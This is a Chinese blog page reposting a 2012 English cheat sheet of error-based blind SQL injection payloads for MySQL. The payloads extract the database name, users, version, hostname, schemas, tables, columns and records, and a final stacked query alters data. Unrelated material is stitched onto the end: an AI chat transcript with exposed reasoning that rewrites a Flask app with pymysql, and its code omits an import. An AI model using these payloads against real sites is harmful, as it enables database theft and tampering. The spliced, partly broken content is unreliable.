mysql (error based) blind sqli cheat sheet_2012到了!!!

本文提供了一套快速且实用的方法来利用MySQL的盲注漏洞。通过使用特定的SQL注入语句,可以获取当前数据库、用户、版本等信息,并进一步查询表名、列名及数据记录等内容。
mysql (error based) blind sqli cheat sheet_2012到了!!!
2012年01月10日
  Quick & Dirty MySQL (Error Based) Blind SQLi Cheat Sheet
  So, you have a web application vulnerable to Blind SQL Injection (test the param with single quote ' ) and you need dirty & quick cheats to dig deeper.
  Note: The data is fetched using a Hex() and a type casting with the cast() to make the query reliable and avoid bad characters and format strings issue (for example 0x00 as the last byte of every data fetched.) These payloads heavily rely on the information_schema database. So if you don't get the desired result, it just means that the remote database server doesn't have it.
  These payloads are only crafted for Error-based MySQL Blind SQL Injections using String type parameters. If you know what I'm talking about, go play!
  No more crap, straight to the point.
  1. To test blind injection
  Code:
  ' and 'x'='x
  2. To select the current database (Output will be in Hexadecimal, decode to ASCII
  Code:
  ' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  3. To find the current user
  Code:
  1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  4. To find MySQL Version
  Code:
  1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  5. Find current database
  Code:
  1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  6. To find the system user
  Code:
  1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  7. To find the hostname
  Code:
  1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  8. To find the installation directory
  Code:
  1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  9. To find the DB User
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  10. To find the databases
  Note: Keep incrementing the n, e.g. : n, n+1, n+2, ... till you keep getting a response.
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  11. To count the number of tables in the selected database
  Note: Note this count as n
  Replace colored strings with appropriate value
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  12. To get the table names in the selected database
  Note: m-n implies execute this query starting from m, m+1…n-1
  Replace colored strings with appropriate value
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  13. To get number of columns in the selected table name
  Note: Note this count as n
  Replace colored strings with appropriate value
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  14. To get column names of a selected table name
  Note: m-n implies execute this query starting from m, m+1…n-1
  Replace colored strings with appropriate value
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  15. To count the number of records in a selected column
  Note: Remember this count as n
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  16. To fetch records from a selected column
  Note: m-n implies execute this query starting from m, m+1…n-1
  Replace colored strings with appropriate value
  Code:
  1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT m-n,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
  17. Update a record in the selected column
  Code:
  1';UPDATE table_name SET column_name=0xhex_code_of_new_record_value WHERE column_name=0xhex_code_of_old_record_value--
  I will update the cheat sheets for other database servers too in separate posts. Keep watching. Till then take care and bye.
<think>根据用户提供的上下文,用户想要将给定的Flask应用代码修改为使用pymysql连接MySQL数据库的正确形式。 用户给出的代码片段是: app = Flask(__name__) app.secret_key = 'pymysql_sqli_lab_secret_key_2024' 但用户之前的问题中提到了一个POST请求处理的代码片段,其中包含: if request.method == 'POST': product_id = request.form.get('product_id', '') conn = pymysql.connect() 因此,我们需要在Flask应用中正确地连接MySQL数据库,并且最好在一个视图函数中(比如处理POST请求的路由)使用数据库连接。 根据引用[1][2][3][4],我们知道如何初始化Flask应用。现在我们需要在视图函数中连接数据库。 在之前的回答中,我们已经给出了使用pymysql连接数据库的修正方案,包括使用环境变量来安全地获取数据库连接参数。 因此,修改步骤如下: 1. 安装pymysql库(如果尚未安装):`pip install pymysql` 2. 在代码中导入pymysql和os模块 3. 在视图函数中,使用环境变量配置数据库连接信息,并使用pymysql.connect()建立连接 4. 使用连接执行SQL查询(注意使用参数化查询防止SQL注入) 5. 使用上下文管理器(with语句)确保连接和游标正确关闭 6. 处理异常 下面是一个完整的示例,展示如何修改代码以在Flask应用中使用pymysql连接MySQL数据库。 注意:我们假设用户已经有了一个处理POST请求的路由(比如'/product'),我们将在这个路由中连接数据库并查询产品信息。 示例代码: </think>### 修改代码使用PyMySQL连接MySQL数据库 以下是正确使用PyMySQL连接MySQL数据库的完整实现方案,基于您的Flask应用结构: ```python from flask import Flask, request, redirect, session, flash import pymysql import os app = Flask(__name__) app.secret_key = 'pymysql_sqli_lab_secret_key_2024' # 会话密钥[^4] def get_db_connection(): """创建安全的数据库连接""" return pymysql.connect( host=os.getenv('DB_HOST', 'localhost'), user=os.getenv('DB_USER', 'root'), password=os.getenv('DB_PASSWORD', ''), database=os.getenv('DB_NAME', 'test_db'), port=int(os.getenv('DB_PORT', 3306)), charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor ) @app.route('/products', methods=['GET', 'POST']) def products(): if request.method == 'POST': try: # 1. 安全获取表单数据 product_id = request.form.get('product_id', '').strip() # 2. 输入验证 if not product_id or not product_id.isdigit(): flash('产品ID无效', 'error') return redirect(request.url) # 3. 连接数据库 with get_db_connection() as conn: with conn.cursor() as cursor: # 4. 参数化查询防止SQL注入 sql = "SELECT * FROM products WHERE id = %s" cursor.execute(sql, (product_id,)) product = cursor.fetchone() if not product: flash('未找到该产品', 'warning') return redirect(request.url) return render_template('product_detail.html', product=product) except pymysql.Error as e: app.logger.error(f"数据库错误: {e}") flash('服务器错误,请稍后再试', 'danger') return redirect(request.url) # GET请求处理 try: with get_db_connection() as conn: with conn.cursor() as cursor: cursor.execute("SELECT id, name FROM products LIMIT 100") products = cursor.fetchall() return render_template('products.html', products=products) except pymysql.Error as e: app.logger.error(f"数据库连接失败: {e}") return "数据库服务不可用", 500 if __name__ == '__main__': app.run(host='0.0.0.0', port=9000) ``` ### 关键修改说明 1. **数据库连接函数** $$ \text{安全连接} = \text{环境变量配置} + \text{参数化连接} $$ ```python def get_db_connection(): return pymysql.connect(...) # 使用环境变量获取敏感信息[^3] ``` 2. **SQL注入防护** 使用参数化查询代替字符串拼接: ```python # 危险方式(易受SQL注入攻击) cursor.execute(f"SELECT * FROM products WHERE id = {product_id}") # 安全方式 cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,)) ``` 3. **连接资源管理** 使用`with`语句确保自动关闭连接: ```python with get_db_connection() as conn: # 自动关闭连接 with conn.cursor() as cursor: # 自动关闭游标 ``` 4. **错误处理机制** - 捕获数据库异常`pymysql.Error` - 使用Flash消息系统反馈用户[^4] - 记录日志而非暴露细节 5. **环境变量配置** 启动前设置环境变量: ```bash export DB_HOST=mysql-server export DB_USER=app_user export DB_PASSWORD=your_secure_password export DB_NAME=product_db ``` ### 安全最佳实践 $$\text{安全} = \text{输入验证} + \text{参数化查询} + \text{最小权限原则}$$ 1. **最小权限原则** 为数据库用户分配仅需的权限: ```sql CREATE USER 'app_user'@'%' IDENTIFIED BY 'secure_password'; GRANT SELECT ON product_db.products TO 'app_user'@'%'; ``` 2. **输入验证** ```python # 验证产品ID为数字且长度合理 if not product_id.isdigit() or len(product_id) > 10: abort(400, "无效产品ID") ``` 3. **连接池优化** 高频访问建议使用连接池: ```python from dbutils.pooled_db import PooledDB pool = PooledDB( creator=pymysql, maxconnections=20, host=os.getenv('DB_HOST'), # ...其他参数 ) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值